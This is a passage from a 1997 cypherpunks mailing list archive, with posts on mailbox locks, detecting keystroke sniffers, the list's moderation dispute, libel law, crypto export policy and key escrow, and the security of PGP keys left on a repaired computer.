Subject: Re: "Secret" Postal Device stolen
Message-ID: <199702020229.SAA04750@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Robert Rothenburg 'Walking-Owl' sez:
> 
> 
> > Mail Storage Box keys?
> 
> I think they use combination locks, actually. Supposedly it's the same
> combination nationally too.
> 
> There was an article in 2600 Magazine about that. The locks are 
> actually 'insecure' and you can test every possible combo in about
> 10-20 minutes.

I think you are confusing USPS and FedEx.

USPS uses key locks seemingly designed by Ben Franklin himself.
Look at them someday. FedEx boxes used to have Simplex 926 
5 pushbutton ""locks"" if you stretch the point.

I'm guessing what they lost was a reloader for postage meters.


-- 
A host is a host from coast to coast.................wb8foz@nrk.com
& no one will talk to a host that's close........[v].(301) 56-LINUX
Unless the host (that isn't close).........................pob 1433
is busy, hung or dead....................................20915-1433





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Scott <scott-b@ix.netcom.com>
Date: Sun, 2 Feb 1997 01:56:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Keystroke sniffer question
Message-ID: <199702020956.BAA16025@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


How can you detect if there is a keystroke sniffer on your computer.

Is there a file name to look for?

Where do people get them?
=======================================
Scott Bellavance 
scott-b@ix.netcom.com
http://www.netcom.com/~scott-b/homepage.html
=======================================

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQCNAzAu56UAAAEEAL8pOdPu2pw5E91f99ByJWT+O1smtcOlIr6GL9TdCbdZ6I2U
UPLl7RL5cV4e3Wv4nIIZiOIePMAUouM5fQZib4vnGpCKM/WxfGQBRGafsq2mlzvE
IKLBrdYhQ5STl/qZIaCKI2+V4hdsvTPaI0PCqGzGoiDv9gbbZ40Gi3F38KqtAAUR
tCtTY290dCBSLiBCZWxsYXZhbmNlIDxzY290dC1iQGl4Lm5ldGNvbS5jb20+
=Hfbk
-----END PGP PUBLIC KEY BLOCK-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 2 Feb 1997 01:58:06 -0800 (PST)
To: Declan McCullagh <declan@pathfinder.com>
Subject: Re: Cyphernomicon by Tim May
Message-ID: <199702020958.BAA16066@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:
> That question is one for Tim to answer, but I should point out that
> philosophical anarchists are not necessarily opposed to rules, just
> government rules -- which this moderation policy clearly is not.

I've seen this kind of statement so many times I just have to point it
out:  "which this moderation policy *clearly* (emph. mine) is not".

Why is it so clear to you, but not everyone?  Am I missing something?
Didn't Reagan, Bush, North et al make it clear enough to Americans
that much of what the govt. does has been privatized, as if we didn't
know already from the 1970's assassination hearings in the Congress,
or from when Carter fired the 900 security guys and they went to work
for "private" contractors?

I ask you again to look at the motives of the people involved.  John
Gilmore isn't about to waste a second of his personal time "moderating"
this list (who could blame him?), and I can't for the life of me see
a reason why Sandy would want to devote so much time to it.  Have you
or anyone seen a real reason why Sandy would want to do this?  Is he
so devoted to crypto and personal freedom that he'll do *anything* to
eliminate the postings which "threaten" this list, or could there be
some other, hidden motivation?  My long experience in the real world
says that professional people do *not* devote a great deal of their
time to things like this unless there is an *awfully* good reason.

> On Sat, 1 Feb 1997, Dale Thorn wrote:
> > Toto wrote:
> > > 3.5.1 Contrary to what people sometimes claim, there is no ruling
> > >        clique of Cypherpunks. Anybody is free to do nearly anything,
> > >        just not free to commit others to course of action, or claim
> > >        to speak for the "Cypherpunks" as a group (and this last
> > >        point is unenforceable except through reputation and social
> > >        repercussions).
> > > 3.6.3 "Why isn't the list moderated?"
> > >       ...hardly consistent with many of our anarchist leanings, is it?
> > >       - "No, please, let's not become a 'moderated' newsgroup. This
> > >       would be the end of freedom!

> > Is this why T.C. May hasn't posted in quite a while?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 1 Feb 1997 19:27:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: NSA Material at the National Archives
Message-ID: <199702020327.TAA06468@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


For access to the 5,000 items declassified under NSA's OPENDOOR
program (http://www.nsa.gov:8080/programs/opendoor), we got 
this answer from the National Archives:

Dear Mr. Young:

This is in response to your electronic mail inquiry of December 20, 1996,
concerning National Security Agency records transferred to the National
Archives.

The material described on the NSA web site was transferred to the
National Archives and made available in April 1996.  We can supply you
with electrostatic (paper) copies of select files for $0.25 per page. 
Please let us know which files you would like copied, and we will send
you a reproduction price quote (please include your mailing address with
all such requests).  We ask that you limit each request to five files.

Should you choose to come to Washington to do research, our records
and microfilm publications are available for consultation without charge in
our research room.  The National Archives at College Park (Archives II),
is located at 8601 Adelphi Road, College Park, Maryland.  If you do not
have a research card, you must apply for one in the reception area. 
Research room hours (except legal holidays) are 8:45 a.m. to 5 p.m.,
Monday and Wednesday; and 8:45 a.m. to 9 p.m., Tuesday, Thursday
and Friday.  Our subject matter specialists are not on duty after 5:15 p.m.
 The research rooms also are open on Saturday from 8:45 a.m. to 4:45
p.m., with a small research room staff present.  Requests for records
must be made before 3:30 p.m. Monday-Friday; no requests can be made
on Saturday.  The telephone number for the Archives II Reference
Branch is 301-713-7250.

Ken Schlessinger
Archives II
Textual Reference Branch
National Archives at College Park
8601 Adelphi Rd
College Park, MD  20740-6001

kenneth.schlessinger@ARCH2.NARA.GOV








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 2 Feb 1997 01:40:53 -0800 (PST)
To: blanc <blancw@cnw.com>
Subject: Re: Cyphernomicon by Tim May
Message-ID: <199702020940.BAA15622@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


blanc wrote:

> Toto, I'm surprised at how seriously you take the underlying anarchist
> philosophy of the list; you identify so closely with it, and have responded
> to its moderation as though it really would be "the end of freedom", even
> though you seem to have appeared, or else come out of lurking, only
> recently.   Is this because you value anarchy, or free speech, or the
> existence of the Cypherpunks as a unique group of stray cats [ :>) ]?

  I value Reason (big 'R'), humor (small 'h'), and A/ambiguity (take
your
pick).

  Anarchy is only a pause between dictators. Fascism is necessary to
remind
us not to take freedom for granted.
  One should call for 'order' during the rein of anarchy and for
'freedom 
during times of Fascism.

  I have 'appeared' and/or 'come out of lurking' on the CypherPunks list
at various times since it's inception, under various personas. Few have
noticed, and fewer, still, have ever accurately described, as you have,
what I truly value about the CypherPunks--"a unique group of stray
cats."
  The CypherPunks have, over the years, weathered varying sorts of 
'problems' in the development of the list, as a result of various
'voices
of Reason' prevailing in the setting the list's direction--even when
those 'voices' were diametrically opposed in their beliefs.
  What currently threatens the list, in my opinion, is not the
dissension,
but the rise of a cliquish sheep-mentality and the resulting dismissal
of the opinions of people of Reason (and the opinions of 'anyone', in 
general, whom 'I' perceive as being on the 'other side' of an issue).

  If the day comes when I am able to file away the CypherPunks list
under this-or-that category, then I will put a tombstone in the file, as
well, and put flowers in it once a year.

Toto
> Side note:
> Since Tim isn't on the list and hasn't been for a month, I've been
> wondering if it had anything to do with the moderation experiment, although
> it is unlike him to have left without either an argument or at least some
> kind of statement about it.
> 
>     ..
> Blanc






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 2 Feb 1997 02:11:29 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: RE: Libel, Times v. Sullivan
Message-ID: <199702021011.CAA16502@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Greg Broiles

Since we've now got Jim Bell arguing that it's obvious that a free and open
society must tolerate anything which might be defamatory, and Jim Choate
arguing that it's obvious that a free and open society cannot tolerate
anything which might be defamatory, I think I'm going to wander away from
this discussion confident that the answer is, at least, nonobvious. :)
..................................................................


Heh -  Jim B. and Jim C.:  the Yin & Yang of Society At Large.
What could a discussion between them produce.

    ..
Blanc







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 2 Feb 1997 01:42:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Free & Open Society & toleration (fwd)
Message-ID: <199702020942.BAA15659@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Nobody has a problem with your ideals, it's just that Jim Bell is
> trying to say (correct me and forgive me if I'm wrong) that:
> 
> 1. Society will never subscribe to your ideals.

But other than two points they already do. The two points being,

1. Libel is a recognized legal concept now, the difference is one of degree.
   That degree of difference being how much money there is available for
   the lawyer and their willingness to enforce the concepts of justice in
   the society based upon their perceived ability to profit by it.

2. The extension of acceptance of reasonable legal representation by lot
   from not only the defence but also the prosecution.

My solutions to these two issues are:

1.  Removal of the lawyer from the ultimate choice of whether the case
    should be pursued.

2.  The minimalization of the defendants and plaintiffs monetary resources
    by removing them from the legal system by choosing the legal
    representation of both parties by lot.

3.  By moving the responsibility of police to provide evidence from the
    prosecution to the court we equalize the impact of irregularities
    in evidence selection as well as minimizing the sorts of evidence
    disputes which so impact some trials (ie OJ Simpson).

4.  By the implimentation of a bond proviso on the part of the plaintiff
    the system provides a check and balance reducing nuisance cases as
    well as reducing the taxation load on the citizenry.
 
> 2. Society is not static, i.e., instead of remaining at a constant
>    level of corruption, the officials will keep demanding more,
>    until there's a sudden, catastrophic break.

Absolutely, that is one of the reasons I refuse to seperate those who
represent the social contract (eg the Constitution) and those who are
impacted by it, which includes even those who represent it and enforce its
various responsibilities. AP relies on this distinction as axiomatic. This
axiomatic view is ultimately based in a jealous greed for what others have
(ie power, percieved or real) and the implicit belief that all people are
NOT created equal.

> 3. The AP solution has the potential to stabilize the level of
>    corruption, which should make violent revolutions and genocide
>    unnecessary.

But it doesn't. What it does is provide a mechanism for de-stabalization.
Just look at the Middle East and the history of assassination.
Assassinations have never stabalized that region or any other. There is
nothging in our current understanding of human psychology and social
interactions that leads to the conclusion that threats of violence will
necessarily force people to comply. If it did the government (as perceived
by AP) would not have to deal with real opposition. Simply threaten the
opposition and it melts away for the same reason that supposedly the
government would cease to oppose radicalism (ie changes in the status quo
forced by small groups upon the masses). If anything every real world
example of AP demonstrates an increase in corruption (eg. Beirut).

The closest analog in history to AP is the "Flowery Wars" as practiced by
the Aztecs. However, these were motivated by a belief in religous homogeneity
and not one of politics. Also, implicit in this was the axiomatic acceptance
of a real class seperation between those who ruled and those who were ruled.
By no means could one accept the premise that this caused the Aztec rulers
to be more sensitive to corruption or the continued existance of their
system. Another good example is assassination in ancient Rome, it is clear
that such activities in no way reduced corruption.

If anything AP provides a rationale (ie self-defence) to impose even harsher
a priori conditions on sections of a society by another part of that society.
Hardly what I would consider a stabalizing condition let alone democratic.
What is required for stability is for each group to feel unthreatened and
secure in expressing their beliefs without fear of reprisals and at the same
time recognizing they must provide room for others beliefs. There must also
be the realization that refusal to abide by these precepts will be met with
immediate consequences. Something AP can't do, as it explicitly promotes
threats and the carrying out thereof.

On another issue, it was asked what purpose there is in suing a poor person.
Simple lack of monetary wealth should be no more reason to exempt a party
from justice than having large quantities. A citizen should face the
consequences of their actions, how rich or poor they are is an irrelevant
issue.

Concepts required for a true working democracy:

Liberty
Justice
Equality
Fraternity


                                                         Jim Choate
                                                         CyberTects
                                                         ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 2 Feb 1997 01:40:52 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: Libel, Times v. Sullivan
Message-ID: <199702020940.BAA15621@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:

> Your last paragraph looks like an exercise of the silly game the TV show "60
> minutes" producers often play when they read the letters from the audience
> about a previous report on a controversial subject.  They first read a
> letter from an outraged viewer who claims that the TV show's producers must
> have been biased in one direction, and then they read another letter from a
> different viewer who alleges they showed a bias in the opposite direction.
> The show is trying to leave you with the impression that they MUST have been
> unbiased, because they are being accused of diametrically opposite leanings.

  Sounds suspiciously like Sandy's approach to 'fair' moderation, to me.
 
> All they are really showing is that given the hundreds and probably
> thousands of letters they receive on each show weekly (which are, by
> definition, written by self-motivated people) they can get at least one on
> each end of the spectrum for whatever subject they've just covered.

  Perhaps they author these 'letters' themselves:
  "I agree wholeheartedly with the position espoused by '60 Minutes'.
and,
  "I don't not think maybe dat dese guys are write, nohow."

> A clue is present in the likely fact that the origins of defamation laws
> were primarily to keep the king and the upper-crust free of printed and
> verbal attack directed by the lower-classes, even given the presence of
> whatever nominal "free-speech" guarantees were present.

  Next thing you know, saying, "The king is fucking the queen.", is
libel
and defamation. Go figure...

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 2 Feb 1997 02:11:45 -0800 (PST)
To: Raph Levien <raph@cs.berkeley.edu>
Subject: Re: How I Would Ban Strong Crypto in the U.S.
Message-ID: <199702021011.CAA16513@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:58 AM 7/15/96 -0400, about six months ago, when Clipper III was new,
Raph Levien wrote:
>1. The battle over whether applications can contain strong encryption 
>algorithms has basically been lost. For example, SSL-enabled 
>applications are widely available over the world, thanks in large part 
>to the work of Eric Young. The same will happen for any other encryption 
>protocol that catches on.

Unfortunately, the Government hasn't given up on this one;
Peter Gutman's recent articles on export policy in New Zealand and
Australia suggest that Our Public Servants are trying an end-run
by getting those countries to stop export and development by productive 
crypto authors, targeting the toolkits that are being widely used
inside and outside the US.

>2. The battle for key management has not yet been fought. 

Yeah.  I haven't heard much from Clipper III recently,
since they've been trumpeting Clipper IV "Key Recovery" recently,
but that doesn't mean it's not going on.  Unlike politican efforts
such as Key Recovery, infrastructure attacks such as PKI
may require long-term technical development - the Cooperative
Research and Development Alliances (CRADAs) are not just to
bribe otherwise-valuable companies to stay out of the way,
they're to do things that may be sprung on us later;
I'd predict this coming summer.  For instance, back in July,
John Young quoted a Business Wire article about
 =  Toronto -- Certicom Corp. a leading information security 
 =  company, today announced that it will participate in an 
 =  initiative by the U.S. Commerce Department's National 
 =  Institute of Standards and Technology (NIST) which will 
 =  lead to the development of the elements of a public key 
 =  infrastructure (PKI).  
Certicom are the folks who do Elliptic Curve Cryptosystems,
which haven't been used much due to patent questions and 
RSA's dominance, but which allow much shorter public keys
and may have some speed advantages, both of which are
quite important for smartcard use.

>3. Anybody can write an application that supports strong encryption 
>algorithms. Witness SSH, a very impressive and useful program, which was 
>basically done by one person, Tatu Ylonen. However, building a key 
>management infrastructure will take lots of money, hard work, and 
>cooperation.
....
>4. Thus, the best leverage for the TLAs to win is to guide the 
>development of a key management infrastructure with the following 
>property: if you don't register your key, you can't play. I believe that 
>this is the true meaning of the word "voluntary:" you're free to make 
>the choice not to participate.
..
>6. Export is a two player game. The other country has to allow import of 
>the stuff, too. If the Burns bill passes, the "administration" would 
>strong-arm other countries to prohibit import of strong crypto, still 
>leaving US developers with no market.

It failed, and they've now got an Ambassador strong-arming other countries
to prohibit export.

>7. Building this stuff is too much of a task for the TLAs. They tried it 
>with Clipper, and it failed. They hoped that building the Tessera card 
>would be enough - that once they threw it over the wall, it would be 
>eagerly snapped up by industry.

>8. Thus, they're going to cajole, bribe, and coerce software companies 
>to play along. This fact is quite nakedly exposed in the document (good 
>thing the injunction against the CDA is still in force :-).

Yeah.  Clipper IV is getting a lot of people jumping on the bandwagon
to get export permission for their 56-bit software.  Many of the people
who are most vocal about it are the usual suspects anyway, but it's
closer to commercial usability that industry's more cooperative this round,
especially with more Internet money fever.

>> Don't be fooled.
>Who? Us cypherpunks?
>Raph
:-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 2 Feb 1997 02:15:07 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: RE: Cyphernomicon by Tim May
Message-ID: <199702021015.CAA16619@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Toto

  What currently threatens the list, in my opinion, is not the dissension,
but the rise of a cliquish sheep-mentality and the resulting dismissal
of the opinions of people of Reason (and the opinions of 'anyone', in
general, whom 'I' perceive as being on the 'other side' of an issue).
........................................................................

Who are these sheep you're talking about?   At the end of the trial period, 
anyone still on the list who doesn't like the moderation can at their 
leisure either protest vehemently its continuation, producing masterly 
works of eloquence in favor of continuing the free-for-all, or they can 
unsubscribe (sp?).    They *don't* have to take it, or identify with the 
cpunks any longer.

I think what threatens the list is the absence of really major issues to 
fire up everyone's sense of indignation & imagination, plus the fact that 
many of the long-timers are pretty sophisticated on all the political 
issues which have been discussed before (how many of Tim May's long 
treatises, engaging, thorough, and relevant as they may be, can one read 
yet again without recognizing the repetitive themes therein), plus a lack 
of interest in engaging in rhetorical arguments with people who find it 
difficult to think in a straight line.   Sometimes the posts on the list 
come to resemble more attempts at educating the clueless than discussions 
among peers which could truly advance an understanding of between fine 
points of difference.

Whom can one blame for what does not exist (on the list) -  there is no 
mechanism for its production; only the attractions of the subject and the 
aim, are what bring in the participants who could provide substance and 
depth.

Perhaps waxing lyrical on the features of Eudora and regular reminders on 
the benefits of mail filtering would be encouraging to "the timid"?

    ..
Blanc






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Huge Cajones Remailer <nobody@huge.cajones.com>
Date: Sun, 2 Feb 1997 02:11:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Secret" Postal Device stolen
Message-ID: <199702021011.CAA16505@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


David Lesher <wb8foz@nrk.com> writes:

> USPS uses key locks seemingly designed by Ben Franklin himself.
> Look at them someday. FedEx boxes used to have Simplex 926 
> 5 pushbutton ""locks"" if you stretch the point.

Don't let the old-fashioned look deceive you.  Most mail storage boxes
use lever tumbler locks (similar to what's used in safe deposit
vaults, though obviously the mailbox locks have a flimsier plug).
Lever tumbler locks are in general much harder to pick than pin
tumbler locks (the kind on most doors).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Sun, 2 Feb 1997 01:42:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Libel & the 1st Amendment
Message-ID: <199702020942.BAA15658@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 1 Feb 1997, jim bell wrote:

> At 12:52 PM 2/1/97 -0500, Mark M. wrote:
> >On Sat, 1 Feb 1997, Peter J. Capelli wrote:
> >
> >> 	You mean to say, rich people can overcrowd the courts as much as they
> >> like, while others are restricted by contigency-only lawyers ( Call 
> >> 1-800-AMBULANCE! ) ... and what of the case of a rich person trying to
> >> control
> >> a poor one with many frivolous lawsuits ... while they can afford to file 
> >> lawsuit after lawsuit, the poor person cannot defend himself.
> >
> >What, exactly, would be the point of suing a poor person?
> 
> To quiet him from political dissent, presumably.  I think the term coined a 
> few years ago was "SLAPP", something akin to "Strategic Lawsuit Against 
> Public Policy," or similar.

I should point out that in my previous post, I was refering to the specific
instance of libel -- not any general lawsuit.  I can think of very few
instances where a rich person would sue someone without the resources to even
defend himself for libel just to harass the defendant.  I'm sure there are a
few cases, but it wouldn't be worth the plaintiff's time or money.  I would be
interested if anyone knows of any specific examples of this.



Mark
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4+75YOpRIgHAugMyl/bbNZgTjStoLUicHATyt7PLEUtj/sbmPbakkQ==
=qrVu
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Sun, 2 Feb 1997 01:56:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Key Security Question
Message-ID: <199702020956.BAA16034@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart <stewarts@ix.netcom.com> writes:

> >> My computer went into the shop a few days ago, and I was unable to take
> >> my PGP keys off it before it went in.  What are the security risks here?
> >> If the repairman chooses to snoop through the files, what would he be
> >> able to do with my key pair?  Will I need to revoke the key and make a
> >> new one, or will I be relatively safe since he doesn't have my
> >> passphrase?
>
> Passphrases are MD5-hashed into 128-bit IDEA keys and used to
> encrypt the secret key; there's a "pgpcrack" program out there
> that does dictionary-style searches to find if you've got
> wimpy passphrases.  So if your passphrases is "secret", you lose,
> but if it's "fjhw;doifvjuc-[09efiu v` 2	4rnhc;ljoipcvjpoiewujfgv;loik"
> you're probably pretty safe, unless that's written on the yellow
> sticky you left on the side of the PC.
>
> On the other hand, if the "repairman" replaced your pgp executable
> with version 2.6.3kgb, which uses your hashed passphrase as the
> session key, you're hosed.  Or if he installed a keystroke sniffer,
> or added a small radio transmitter to your keyboard, or whatever.
> Depends on your threat model.  If you need to be paranoid,
> they've already gotten you....

If you're really paranoid, you can boot from a clean floppy and
reinstall everything from your backup tapes. You do have a
contingency plan in case your hard disk goes bad, or gets a
virus, don't you? Well, if you're in doubt, exercise it.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 2 Feb 1997 01:56:30 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Free & Open Society & toleration
Message-ID: <199702020956.BAA16038@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:
> It has been asserted that I am claiming that a free and open society should
> not abide any and all actions in contrast to Jim Bell's assertion that a
> free and open society must tolerate any action.
> 
> This is not my case at all. I hold that a DEMOCRATIC society with a HEALTHY
> ECONOMIC system must have some minimum standards on what is allowed. By no
> means do I hold that the ONLY means of a free and open society is a democracy.
> It is quite possible to have an anarchy which would also be a free and open
> society and by DEFINITION would tolerate any action by its members acting
> individualy or in concert.

  I have waited, with bated breath, for you to take a position which is 
short, concise, and well-reasoned. Well, you finally did, but you just
couldn't leave it alone, could you?
  I think that what you have written (above) is a valid and meaningful
statement of your position. I see what follows, however, as a train of
'logic' which follows a pre-defined, emotionally-charged justification
of a defensive position you have taken, as a result of a real or 
imagined 'slight'.

  I have followed your 'libel' thread, as rambling (and sometimes 
dichotomously incoherent) as it is, and I recognize that you are
passionate in your beliefs (for which I salute you), but I think
that perhaps your interests might be better served if you let
logic lead your emotions.
  If you did so, I might well hire you as my lawyer (to defend me
in your libel suit against me), since you do have a 'bulldog' 
sense of determination in pursing any position you take.
  The million-and-one posts you made with the results of your
search-engine research on libel only served to accentuate your
inability to fully understand the issues underlying libel and
defamation. Your own opinions regarding your thoughts and 
opinions regarding these same issues were much more poignant
and enlightening.
  I would hope that, in the future, you would justify your 
beliefs and opinions with a revelation of your own points of
logic (or illogic) rather than attempting to support them 
with legalese rulings which often stand on a foundation of
sand, especially under close judicial scrutiny.
  You do, indeed, raise some points that are worthy of valid
consideration, and debate, but they tend to get lost in your
excessive arguments regarding them.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 2 Feb 1997 01:58:06 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: Fighting the cybercensor
Message-ID: <199702020958.BAA16065@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:
> At 08:02 PM 2/1/97 -0800, Toto wrote:
> >  I also think that the other list members involved in this thread are
> >'nobodies', but I was too polite to say anything.
> 
> It's odd that you would say this.  I get that impression ("nobodies") about
> practically EVERY subject discussed here.  Why name this particular one, as
> if it were somehow special?

Jim,
 "You're 'nobody', till 'somebody' loves you..."
 Everybody has their own prediliction as to what interests them, 
and what is 'frivilous' on the list.
 Someone, in private email, mentioned that they felt that 60% of the
posts were 'uninteresting'. I replied that this seemed to be a close
approximation of many list members' beliefs, but that, if we all
moderated/censored out 'our' 60% of 'uninteresting' posts before 
the list was sent out, that there would be precious little left.

  I don't know if you recognized my comment as humor, since I have
an aversion to using 'happy faces' (the result of a childhood trauma),
but I just love to poke fun at the plethora of personas on the list
who seem to believe that anything outside of their immediate scope
of interest is somehow 'unworthy' of being posted the list.

 By the way, in order to prevent this post from going to the 'flames'
list, I will NOT say that you are a low-life, scum-sucking Nazi piece
of shit. I will likewise refrain from suggesting that your mother
wears army boots, you are a child-pornographer, an imbecile, and
a pervert, or that you beat your wife and children regularly.
 By golly, I think I'm 'getting the hang of' this new, improved,
Politically Correct, nicey-nice list format.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sun, 2 Feb 1997 01:56:23 -0800 (PST)
To: Steve Schear <azur@netcom.com>
Subject: Re: "Strong" crypto and export rule changes.
Message-ID: <199702020956.BAA16024@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Steve Schear wrote:
| >        What the US government will allow to be exported is not "strong
| >encryption."  It is encryption only slightly too strong to be broken
| >by an amateur effort.  For the right investment in custom hardware, it
| >falls quickly.  (500,000 $US = 3.5 hour avg break).
| >
| 
| Considering Ian's feat you certainly seem to have had your crystal
| ball in hand.  

	I wear three around my neck.  Its a new age thing.

	More seriously, that estimate is the cost of breaking DES on
custom hardware, based on Wiener's figures.  Ian got RC4-40 in 3.5
hours on I don't know how much hardware, not a lot of it custom,
AFAIK.

Adam

-- 
Pet peeve of the day: Security companies whose protocols dare not
speak their name, because they don't have one. Guilty company of the
day is now V-One.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sun, 2 Feb 1997 02:13:14 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: Key Security Question
Message-ID: <199702021013.CAA16577@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> Bill Stewart <stewarts@ix.netcom.com> writes:
> > On the other hand, if the "repairman" replaced your pgp executable
> > with version 2.6.3kgb, which uses your hashed passphrase as the
> > session key, you're hosed.  Or if he installed a keystroke sniffer,
> > or added a small radio transmitter to your keyboard, or whatever.
> > Depends on your threat model.  If you need to be paranoid,
> > they've already gotten you....
> 
> If you're really paranoid, you can boot from a clean floppy and
> reinstall everything from your backup tapes. You do have a
> contingency plan in case your hard disk goes bad, or gets a
> virus, don't you? Well, if you're in doubt, exercise it.

And what if the repairman replaces BIOS ROM chips with KGBios?

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sun, 2 Feb 1997 01:59:48 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Cyphernomicon by Tim May
Message-ID: <199702020959.BAA16083@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


That question is one for Tim to answer, but I should point out that
philosophical anarchists are not necessarily opposed to rules, just
government rules -- which this moderation policy clearly is not.

-Declan


On Sat, 1 Feb 1997, Dale Thorn wrote:

> Toto wrote:
> > 3.5.1 Contrary to what people sometimes claim, there is no ruling
> >        clique of Cypherpunks. Anybody is free to do nearly anything,
> >        just not free to commit others to course of action, or claim
> >        to speak for the "Cypherpunks" as a group (and this last
> >        point is unenforceable except through reputation and social
> >        repercussions).
> > 3.6.3 "Why isn't the list moderated?"
> >       ...hardly consistent with many of our anarchist leanings, is it?
> >       - "No, please, let's not become a 'moderated' newsgroup. This
> >       would be the end of freedom!
> 
> Is this why T.C. May hasn't posted in quite a while?
> 
> 
> 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 2 Feb 1997 02:11:43 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Free & Open Society & toleration
Message-ID: <199702021011.CAA16509@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate allegedly said:
> 
> It has been asserted that I am claiming that a free and open society should
[...]
> 
> This is not my case at all. I hold that [...]
> means do I hold [...]
> I hold [...]
> worthless. I DO hold [...]
> all speech. I further hold [...]
> I further hold [...]
> I further hold [...]

Whew!  That's a lot of holding, my friend.  I've heard that prunes 
help. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Sun, 2 Feb 1997 02:11:41 -0800 (PST)
To: rex <rshea@netcom.com>
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
Message-ID: <199702021011.CAA16508@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 31 Jan 1997, rex wrote:

> Black Unicorn <unicorn@schloss.li> wrote:
> 
> >If you want to look at it a different way, if you are involved with a drug
> >offense and are not using a weapon, you'll get a lower sentence than a
> >full fledged drug crime.  It's a step in the right direction - i.e. away
> >from manadatory sentencing of a flat time period for a crime regardless of
> >circumstances.
> 
> But Putra got the same sentence she would have gotten had she been
> convicted on both charges. The fact that she was acquitted meant nothing.

That this is true once, does not make it so in all cases.

You also lose sight of the general scheme of things.  That the sentence
imposed may have the same maximum sentence with sentencing enhancements
and a lesser included offense as with conviction of a "great offense"
means nothing with regard to the validity of sentencing enhancements.

That theft and low level bank fraud have the same penality when theft is
enhanced with a "victim was infirm or helpless" or a "firearm was used in
furtherance of the crime" could as easily reflect a lack of vigor and
